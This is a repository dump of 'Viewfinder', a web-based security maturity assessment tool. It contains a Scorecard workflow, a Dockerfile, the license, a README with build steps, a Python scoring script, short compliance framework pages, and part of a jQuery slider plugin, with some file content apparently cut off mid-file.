├── .github
└── workflows
│ └── scorecard.yml
├── Dockerfile
├── LICENSE
├── README.md
├── assessment_script_python
├── compliance.json
├── compliance
├── dora.html
├── nis2.html
├── nist-800-53.html
└── pci-dss.html
├── controls-Core.json
├── controls-Template.json
├── controls.json
├── css
├── assets
│ └── fonts
│ │ ├── RedHatDisplay
│ │ ├── RedHatDisplay-Black.woff
│ │ ├── RedHatDisplay-Black.woff2
│ │ ├── RedHatDisplay-BlackItalic.woff
│ │ ├── RedHatDisplay-BlackItalic.woff2
│ │ ├── RedHatDisplay-Bold.woff
│ │ ├── RedHatDisplay-Bold.woff2
│ │ ├── RedHatDisplay-BoldItalic.woff
│ │ ├── RedHatDisplay-BoldItalic.woff2
│ │ ├── RedHatDisplay-Italic.woff
│ │ ├── RedHatDisplay-Italic.woff2
│ │ ├── RedHatDisplay-Medium.woff
│ │ ├── RedHatDisplay-Medium.woff2
│ │ ├── RedHatDisplay-MediumItalic.woff
│ │ ├── RedHatDisplay-MediumItalic.woff2
│ │ ├── RedHatDisplay-Regular.woff
│ │ └── RedHatDisplay-Regular.woff2
│ │ ├── RedHatText
│ │ ├── RedHatText-Bold.woff
│ │ ├── RedHatText-Bold.woff2
│ │ ├── RedHatText-BoldItalic.woff
│ │ ├── RedHatText-BoldItalic.woff2
│ │ ├── RedHatText-Italic.woff
│ │ ├── RedHatText-Italic.woff2
│ │ ├── RedHatText-Medium.woff
│ │ ├── RedHatText-Medium.woff2
│ │ ├── RedHatText-MediumItalic.woff
│ │ ├── RedHatText-MediumItalic.woff2
│ │ ├── RedHatText-Regular.woff
│ │ └── RedHatText-Regular.woff2
│ │ ├── overpass-bold-italic.woff2
│ │ ├── overpass-bold.woff2
│ │ ├── overpass-extrabold-italic.woff2
│ │ ├── overpass-extrabold.woff2
│ │ ├── overpass-extralight-italic.woff2
│ │ ├── overpass-extralight.woff2
│ │ ├── overpass-heavy-italic.woff2
│ │ ├── overpass-heavy.woff2
│ │ ├── overpass-italic.woff2
│ │ ├── overpass-light-italic.woff2
│ │ ├── overpass-light.woff2
│ │ ├── overpass-regular.woff2
│ │ ├── overpass-semibold-italic.woff2
│ │ ├── overpass-semibold.woff2
│ │ ├── overpass-thin-italic.woff2
│ │ ├── overpass-thin.woff2
│ │ └── overpass.css
├── bootstrap.min.css
├── brands.css
├── overpass.css
├── patternfly-addons.css
├── patternfly.css
├── style.css
├── tab.css
├── table.css
└── table2.css
├── images
├── main-page.png
├── recommendations-page.png
├── results-page.png
├── results-table.png
├── telescope-viewfinder-inverse.png
└── telescope-viewfinder.png
├── index.php
├── js
├── jquery-3.3.1.js
├── jquery-ui.js
├── jquery.ui.labeledslider.js
└── radarChart.js
├── report
├── css
│ ├── .DS_Store
│ ├── animate.min.css
│ ├── bootstrap-grid.css
│ ├── bootstrap-grid.css.map
│ ├── bootstrap-grid.min.css
│ ├── bootstrap-grid.min.css.map
│ ├── bootstrap-reboot.css
│ ├── bootstrap-reboot.css.map
│ ├── bootstrap-reboot.min.css
│ ├── bootstrap-reboot.min.css.map
│ ├── bootstrap.css
│ ├── bootstrap.css.map
│ ├── bootstrap.min.css
│ ├── bootstrap.min.css.map
│ ├── default-skin.css
│ ├── font-awesome.min.css
│ ├── icomoon.css
│ ├── jquery-ui.css
│ ├── jquery.fancybox.min.css
│ ├── jquery.mCustomScrollbar.min.css
│ ├── meanmenu.css
│ ├── nice-select.css
│ ├── normalize.css
│ ├── owl.carousel.min.css
│ ├── responsive.css
│ ├── slick.css
│ ├── style.css
│ ├── table.css
│ └── table2.css
├── fonts
│ ├── FontAwesome.otf
│ ├── IcoMoon-Free.ttf
│ ├── Poppins-Black.ttf
│ ├── Poppins-BlackItalic.ttf
│ ├── Poppins-Bold.ttf
│ ├── Poppins-BoldItalic.ttf
│ ├── Poppins-ExtraBold.ttf
│ ├── Poppins-ExtraBoldItalic.ttf
│ ├── Poppins-ExtraLight.ttf
│ ├── Poppins-ExtraLightItalic.ttf
│ ├── Poppins-Italic.ttf
│ ├── Poppins-Light.ttf
│ ├── Poppins-LightItalic.ttf
│ ├── Poppins-Medium.ttf
│ ├── Poppins-MediumItalic.ttf
│ ├── Poppins-Regular.ttf
│ ├── Poppins-SemiBold.ttf
│ ├── Poppins-SemiBoldItalic.ttf
│ ├── Poppins-Thin.ttf
│ ├── Poppins-ThinItalic.ttf
│ ├── fontawesome-webfont.eot
│ ├── fontawesome-webfont.svg
│ ├── fontawesome-webfont.ttf
│ ├── fontawesome-webfont.woff
│ └── fontawesome-webfont.woff2
├── images
│ ├── .DS_Store
│ ├── Security-Maturity-Assessment.png
│ ├── banner.png
│ ├── banner1.png
│ ├── body_bg.png
│ ├── bottom.png
│ ├── midil.png
│ ├── tech-image-1.png
│ ├── tech-image-2.png
│ ├── tech-image-3.png
│ ├── tech-image-4.png
│ ├── tech-image-5.png
│ ├── tech-image-6.png
│ ├── tech-image-7.png
│ ├── tech-image-8.png
│ ├── tech-image-9.png
│ ├── telescope-viewfinder.png
│ └── test.png
├── index.php
└── js
│ ├── .DS_Store
│ ├── bootstrap.bundle.js
│ ├── bootstrap.bundle.js.map
│ ├── bootstrap.bundle.min.js
│ ├── bootstrap.bundle.min.js.map
│ ├── bootstrap.js
│ ├── bootstrap.js.map
│ ├── bootstrap.min.js
│ ├── bootstrap.min.js.map
│ ├── custom.js
│ ├── jquery-3.0.0.min.js
│ ├── jquery.mCustomScrollbar.concat.min.js
│ ├── jquery.min.js
│ ├── jquery.validate.js
│ ├── modernizer.js
│ ├── plugin.js
│ ├── popper.min.js
│ ├── radarChart.js
│ ├── revolution
│ ├── .DS_Store
│ ├── assets
│ │ ├── coloredbg.png
│ │ ├── gridtile.png
│ │ ├── gridtile_3x3.png
│ │ ├── gridtile_3x3_white.png
│ │ ├── gridtile_white.png
│ │ └── loader.gif
│ ├── css
│ │ ├── closedhand.html
│ │ ├── layers.css
│ │ ├── navigation.css
│ │ ├── openhand.html
│ │ └── settings.css
│ ├── fonts
│ │ ├── pe-icon-7-stroke
│ │ │ ├── css
│ │ │ │ └── pe-icon-7-stroke.css
│ │ │ └── fonts
│ │ │ │ ├── Pe-icon-7-strokebb1d.eot
│ │ │ │ ├── Pe-icon-7-strokebb1d.svg
│ │ │ │ ├── Pe-icon-7-strokebb1d.ttf
│ │ │ │ ├── Pe-icon-7-strokebb1d.woff
│ │ │ │ └── Pe-icon-7-stroked41d.eot
│ │ └── revicons
│ │ │ ├── revicons90c6.eot
│ │ │ ├── revicons90c6.svg
│ │ │ ├── revicons90c6.ttf
│ │ │ └── revicons90c6.woff
│ └── js
│ │ ├── .DS_Store
│ │ ├── extensions
│ │ ├── revolution.extension.actions.min.js
│ │ ├── revolution.extension.carousel.min.js
│ │ ├── revolution.extension.kenburn.min.js
│ │ ├── revolution.extension.layeranimation.min.js
│ │ ├── revolution.extension.migration.min.js
│ │ ├── revolution.extension.navigation.min.js
│ │ ├── revolution.extension.parallax.min.js
│ │ ├── revolution.extension.slideanims.min.js
│ │ └── revolution.extension.video.min.js
│ │ ├── jquery.themepunch.revolution.min.js
│ │ └── jquery.themepunch.tools.min.js
│ └── slider-setting.js
└── results.php
/.github/workflows/scorecard.yml:
--------------------------------------------------------------------------------
1 | # This workflow uses actions that are not certified by GitHub. They are provided
2 | # by a third-party and are governed by separate terms of service, privacy
3 | # policy, and support documentation.
4 |
5 | name: Scorecard supply-chain security
6 | on:
7 | # For Branch-Protection check. Only the default branch is supported. See
8 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
9 | branch_protection_rule:
10 | # To guarantee Maintained check is occasionally updated. See
11 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
12 | schedule:
13 | - cron: '25 4 * * 4'
14 | push:
15 | branches: [ "main" ]
16 |
17 | # Declare default permissions as read only.
18 | permissions: read-all
19 |
20 | jobs:
21 | analysis:
22 | name: Scorecard analysis
23 | runs-on: ubuntu-latest
24 | permissions:
25 | # Needed to upload the results to code-scanning dashboard.
26 | security-events: write
27 | # Needed to publish results and get a badge (see publish_results below).
28 | id-token: write
29 | # Uncomment the permissions below if installing in a private repository.
30 | # contents: read
31 | # actions: read
32 |
33 | steps:
34 | - name: "Checkout code"
35 | uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
36 | with:
37 | persist-credentials: false
38 |
39 | - name: "Run analysis"
40 | uses: ossf/scorecard-action@0864cf19026789058feabb7e87baa5f140aac736 # v2.3.1
41 | with:
42 | results_file: results.sarif
43 | results_format: sarif
44 | # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
45 | # - you want to enable the Branch-Protection check on a *public* repository, or
46 | # - you are installing Scorecard on a *private* repository
47 | # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
48 | # repo_token: ${{ secrets.SCORECARD_TOKEN }}
49 |
50 | # Public repositories:
51 | # - Publish results to OpenSSF REST API for easy access by consumers
52 | # - Allows the repository to include the Scorecard badge.
53 | # - See https://github.com/ossf/scorecard-action#publishing-results.
54 | # For private repositories:
55 | # - `publish_results` will always be set to `false`, regardless
56 | # of the value entered here.
57 | publish_results: true
58 |
59 | # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
60 | # format to the repository Actions tab.
61 | - name: "Upload artifact"
62 | uses: actions/upload-artifact@97a0fba1372883ab732affbe8f94b823f91727db # v3.pre.node20
63 | with:
64 | name: SARIF file
65 | path: results.sarif
66 | retention-days: 5
67 |
68 | # Upload the results to GitHub's code scanning dashboard (optional).
69 | # Commenting out will disable upload of results to your repo's Code Scanning dashboard
70 | - name: "Upload to code-scanning"
71 | uses: github/codeql-action/upload-sarif@1b1aada464948af03b950897e5eb522f92603cc2 # v3.24.9
72 | with:
73 | sarif_file: results.sarif
74 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM registry.access.redhat.com/ubi9/php-81:latest
2 | MAINTAINER Chris Jenkins "chrisj@redhat.com"
3 | EXPOSE 8080
4 | COPY . /opt/app-root/src
5 | CMD /bin/bash -c 'php -S 0.0.0.0:8080'
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | ### Description
4 | Viewfinder is a simple web based to tool run a Security Maturity Assessment.
5 | #### Goals
6 | * The primary goal of a Security Maturity Assessment is to understand your security posture by measuring how well it implements, manages, and improves its cybersecurity processes.
7 |
8 | * A key objective is to foster resilience — enabling the organization to anticipate, withstand, recover, and evolve in response to security incidents.
9 |
10 | * It helps prioritise investments in cybersecurity by highlighting the most critical areas needing attention. It can reveal whether existing controls are effective or if additional resources/solutions are necessary to mitigate risks.
11 |
12 | #### Screenshots
13 | ##### Main Page
14 | 
15 | ##### Results Page
16 | 
17 | ##### Recommendations
18 | 
19 | ##### Maturity Table
20 | 
21 |
22 | ### Building
23 |
24 | To build the viewfinder application locally you can use Podman or Docker.
25 |
26 | Firstly, clone this repo to your local host
27 |
28 | ``` git clone https://github.com/boogiespook/viewfinder.git ```
29 |
30 | The cd to the code directory
31 | ``` cd viewfinder ```
32 |
33 | You will need to be logged in to the Red Hat Registry (registry.access.redhat.com).
34 | (this could be optional)
35 |
36 | ``` podman login registry.access.redhat.com ```
37 |
38 | Enter your credentials and you will be able to pull the required images down to build the application.
39 | You can read more about this here: https://access.redhat.com/RegistryAuthentication
40 |
41 | Followed by
42 |
43 | ``` podman build -t viewfinder:latest . ```
44 |
45 | Output will look something like this
46 |
47 | ```
48 | Getting image source signatures
49 | Checking if image destination supports signatures
50 | Copying blob sha256:0f50e783149b25f84a6a8263a36884e0be54048c3e792b55fa4ba13e93f2b5aa
51 | Copying blob sha256:e584cd196457fe615697ae7bc6c7744519838a1bc718f9c7f04bfccb1d09da71
52 | Copying blob sha256:1153e061da4ea9623b0dcdb9e8638b9432d5aa919217cc7c115b5a858f40f306
53 | Copying blob sha256:4204970c1bfc82b3831e6267e6b670d34071b294bcd078e840f09ed9e3a348b2
54 | Copying config sha256:c0520a77c4c619690f9caa6319623364888f186b100dd3ca217aa289a97ee37a
55 | Writing manifest to image destination
56 | Storing signatures
57 | STEP 2/5: MAINTAINER Chris Jenkins "chrisj@redhat.com"
58 | --> 0d5a5bc5cbc2
59 | STEP 3/5: EXPOSE 8080
60 | --> 23390857b459
61 | STEP 4/5: COPY . /opt/app-root/src
62 | --> 95271e3e5caf
63 | STEP 5/5: CMD /bin/bash -c 'php -S 0.0.0.0:8080'
64 | COMMIT viewfinder:latest
65 | --> deb31fe831fc
66 | Successfully tagged localhost/viewfinder:latest
67 | deb31fe831fcc850e8b8023b693b60de7f470829ffb0fdeb67f6454b259884e5
68 | ```
69 |
70 | You can verify this by listing the images on your local machine
71 |
72 | ```podman images```
73 |
74 | and you will get an output something like this
75 |
76 | ``` localhost/viewfinder latest deb31fe831fc 15 minutes ago 928 MB ```
77 |
78 | ### Running
79 |
80 | Once you have the container built you are ready to run the application.
81 |
82 | ``` podman run -p 8080:8080 localhost/viewfinder ```
83 |
84 | If everything is fine you will see a message like this
85 |
86 | ``` PHP 8.0.30 Development Server (http://0.0.0.0:8080) started ```
87 |
88 | You can then open a browser and visit [http://localhost:8080](http://localhost:8080) to open the main page.
89 |
90 | ### Pre-built image
91 | If you would just like the image, it's available on quay.io:
92 |
93 | ``` podman pull quay.io/rhn_gps_cjenkins/viewfinder ```
94 |
95 | ### Contributing
96 |
97 | If you would like to contribute to this project, please feel free to fork the repo. All PRs are gratefully received!
98 |
99 |
100 | [](https://scorecard.dev/viewer/?uri=github.com/boogiespook/viewfinder)
101 |
--------------------------------------------------------------------------------
/assessment_script_python:
--------------------------------------------------------------------------------
1 | import matplotlib.pyplot as plt
2 | import pandas as pd
3 | import numpy as np
4 |
5 | def determine_maturity_level(score, total=False):
6 | if not total:
7 | if score <= 12:
8 | return "Foundational"
9 | elif score <= 24:
10 | return "Strategic"
11 | else:
12 | return "Advanced"
13 | else:
14 | if score <= 84:
15 | return "Foundational"
16 | elif score <= 168:
17 | return "Strategic"
18 | else:
19 | return "Advanced"
20 |
21 | def get_scores_for_level(capability, level, max_points):
22 | score = 0
23 | for point in range(1, max_points + 1):
24 | while True: # Add a loop to ensure valid input
25 | response = input(f"Confirm {capability} {level} capability {point} (y/n): ").strip().lower()
26 | if response in ['y', 'n']: # Check if response is valid
27 | if response == 'y':
28 | score += point
29 | break # Exit the loop for both 'y' and 'n' responses
30 | else:
31 | print("Invalid input. Please enter 'y' for yes or 'n' for no.")
32 | return score
33 |
34 | def calculate_adjusted_score(capabilities_maturity, total_score):
35 | base_multipliers = {"Foundational": 1.02, "Strategic": 1.03, "Advanced": 1.04}
36 | overall_multiplier = 1.0
37 | adjusted_domains = []
38 | for level, count in capabilities_maturity.items():
39 | if count > 0:
40 | overall_multiplier *= (base_multipliers[level] ** count)
41 | adjusted_domains.append(level)
42 | adjusted_score = total_score * overall_multiplier
43 | return adjusted_score, adjusted_domains
44 |
45 | def create_spider_chart(capability_scores, adjusted_score, overall_maturity_level):
46 | df = pd.DataFrame(capability_scores, columns=['Capability', 'Score', 'Maturity'])
47 | df['Normalized Score'] = df['Score'] / 36
48 | categories = df['Capability'].values
49 | N = len(categories)
50 | angles = [n / float(N) * 2 * np.pi for n in range(N)]
51 | angles += angles[:1]
52 | ax = plt.subplot(111, polar=True)
53 | plt.xticks(angles[:-1], categories, color='grey', size=8)
54 | ax.set_rlabel_position(0)
55 | plt.yticks([0.25, 0.5, 0.75], ["0.25", "0.5", "0.75"], color="grey", size=7)
56 | plt.ylim(0,1)
57 | values = df['Normalized Score'].values.flatten().tolist()
58 | values += values[:1]
59 | ax.plot(angles, values, linewidth=1, linestyle='solid', label='Maturity Score')
60 | ax.fill(angles, values, 'b', alpha=0.1)
61 | plt.title(f'Security Maturity Assessment - Overall Maturity: {overall_maturity_level}', size=11, color='blue', y=1.1)
62 | plt.legend(loc='upper right', bbox_to_anchor=(0.1, 0.1))
63 | plt.show()
64 |
65 | def main():
66 | capabilities = [
67 | "Secure Operations", "Secure Recovery", "Secure Network", "Secure Application",
68 | "Secure Identity", "Secure Data", "Secure Infrastructure"
69 | ]
70 |
71 | total_score = 0
72 | capabilities_maturity = {"Foundational": 0, "Strategic": 0, "Advanced": 0}
73 | capability_details = []
74 |
75 | for capability in capabilities:
76 | print(f"\nEntering scores for {capability}:")
77 |
78 | foundational_score = get_scores_for_level(capability, "Foundational", 3)
79 | strategic_score = get_scores_for_level(capability, "Strategic", 3)
80 | advanced_score = get_scores_for_level(capability, "Advanced", 2)
81 |
82 | capability_score = foundational_score + strategic_score + advanced_score
83 | capability_maturity = determine_maturity_level(capability_score)
84 | capabilities_maturity[capability_maturity] += 1
85 | total_score += capability_score
86 | capability_details.append((capability, capability_score, capability_maturity))
87 |
88 | adjusted_score, adjusted_domains = calculate_adjusted_score(capabilities_maturity, total_score)
89 | overall_maturity_level = determine_maturity_level(adjusted_score, total=True)
90 |
91 | # Create and show the spider chart
92 | create_spider_chart(capability_details, adjusted_score, overall_maturity_level)
93 |
94 | # Prepare and save the output to a text file
95 | with open("security_maturity_assessment.txt", "w") as file:
96 | for name, score, maturity in capability_details:
97 | file.write(f"{name}: Score = {score}/36, Maturity = {maturity}\n")
98 | if adjusted_domains:
99 | file.write(f"Domains contributing to score adjustment: {', '.join(adjusted_domains)}\n")
100 | file.write(f"Raw Total Score: {total_score}/252\n")
101 | file.write(f"Adjusted Total Score: {adjusted_score:.2f}/252\n")
102 | file.write(f"Overall Maturity Level: {overall_maturity_level}\n")
103 |
104 | if __name__ == "__main__":
105 | main()
106 |
--------------------------------------------------------------------------------
/compliance.json:
--------------------------------------------------------------------------------
1 | {
2 | "NIST 800-53" : {
3 | "name" : "NIST 800-53",
4 | "link" : "compliance/nist-800-53.html"
5 | },
6 | "ISO 27001" : {
7 | "name" : "ISO 27001",
8 | "link" : ""
9 | },
10 | "PCI DSS" : {
11 | "name" : "PCI DSS",
12 | "link" : "compliance/pci-dss.html"
13 | },
14 | "FedRAMP" : {
15 | "name" : "FedRAMP",
16 | "link" : ""
17 | },
18 | "Common Criteria" : {
19 | "name" : "Common Criteria",
20 | "link" : ""
21 | },
22 | "NIS2" : {
23 | "name" : "NIS2",
24 | "link" : "compliance/nis2.html"
25 | },
26 | "DORA" : {
27 | "name" : "DORA",
28 | "link" : "compliance/dora.html"
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/compliance/dora.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | The Digital Operational Resilience Act (DORA) is a European Union regulation that affects the financial services sector. DORA mandates that financial services organizations are prepared to operate in the event of critical business service disruptions with a focus on cyber threats or attacks.
4 |
5 |
6 | Companies within scope must show they are digitally resilient and able to deliver critical functions and minimize disruption for customers and the financial system. Organizations must meet requirements for their network and information systems that support business processes.
DORA specifically focuses on 5 areas of information and communication technology (ICT)
7 |
19 | DORA will be enforced starting January 17, 2025.
20 |
34 | By adhering to these key points, financial entities can enhance their digital operational resilience, ensuring they can withstand, respond to, and recover from ICT-related disruptions effectively.
35 |
36 |
--------------------------------------------------------------------------------
/compliance/nis2.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | The Network and Information Systems Directive 2 (NIS2 Directive) is an updated piece of EU legislation that widens the scope of entities and establishes more stringent cybersecurity requirements for organizations operating critical infrastructure across various sectors. It is an update to the original NIS Directive, aiming to enhance cybersecurity across the European Union by expanding the scope and tightening the rules.
4 |
5 |
6 | NIS2 is required to be transposed in all EU countries by 17 October 2024. Given the status of Member State implementations, it is possible that many markets will miss this deadline.
7 |
8 |
9 |
30 | NIS2 compliance requires a comprehensive approach to cybersecurity, encompassing technical controls, governance, risk management, and continuous improvement. Red Hat customers should start to proactively implement these controls to not only meet regulatory requirements but also to protect their critical infrastructure and operations from the increasing threat landscape.
31 |
32 |
--------------------------------------------------------------------------------
/compliance/nist-800-53.html:
--------------------------------------------------------------------------------
1 |
2 | The NIST 800-53 security framework, developed by the National Institute of Standards and Technology (NIST), provides a comprehensive set of security and privacy controls for federal information systems and organizations. The framework is part of the NIST Special Publication (SP) 800 series and is widely adopted across various sectors for enhancing information security and risk management.
3 | The Payment Card Industry Data Security Standard (PCI-DSS) is a set of security standards designed to ensure that all companies that process, store, or transmit credit card information maintain a secure environment. Developed by the Payment Card Industry Security Standards Council (PCI SSC). PCI-DSS is aimed at reducing credit card fraud and enhancing payment data security.
3 | ').addClass( 'ui-slider-label-ticks' )
103 | .css( dir, (Math.round( ( i / cnt ) * 10000 ) / 100) + '%' )
104 | .html( '
'+( label )+'' )
105 | .appendTo( $lbl );
106 |
107 | }
108 | }
109 |
110 | },
111 |
112 | _setOption: function( key, value ) {
113 |
114 | this._super( key, value );
115 |
116 | switch ( key ) {
117 |
118 | case 'tickInterval':
119 | case 'tickLabels':
120 | case 'tickArray':
121 | case 'min':
122 | case 'max':
123 | case 'step':
124 |
125 | this._alignWithStep();
126 | this._drawLabels();
127 | break;
128 |
129 | case 'orientation':
130 |
131 | this.element
132 | .removeClass( 'horizontal vertical' )
133 | .addClass( this.orientation );
134 |
135 | this._drawLabels();
136 | break;
137 | }
138 | },
139 |
140 | _alignWithStep: function () {
141 | if ( this.options.tickInterval < this.options.step )
142 | this.tickInterval = this.options.step;
143 | else
144 | this.tickInterval = this.options.tickInterval;
145 | },
146 |
147 | _destroy: function() {
148 | this._super();
149 | this.uiSlider.replaceWith( this.element );
150 | },
151 |
152 | widget: function() {
153 | return this.uiSlider;
154 | }
155 |
156 | });
157 |
158 | }(jQuery));
159 |
--------------------------------------------------------------------------------
/js/radarChart.js:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////
2 | /////////////// The Radar Chart Function ////////////////
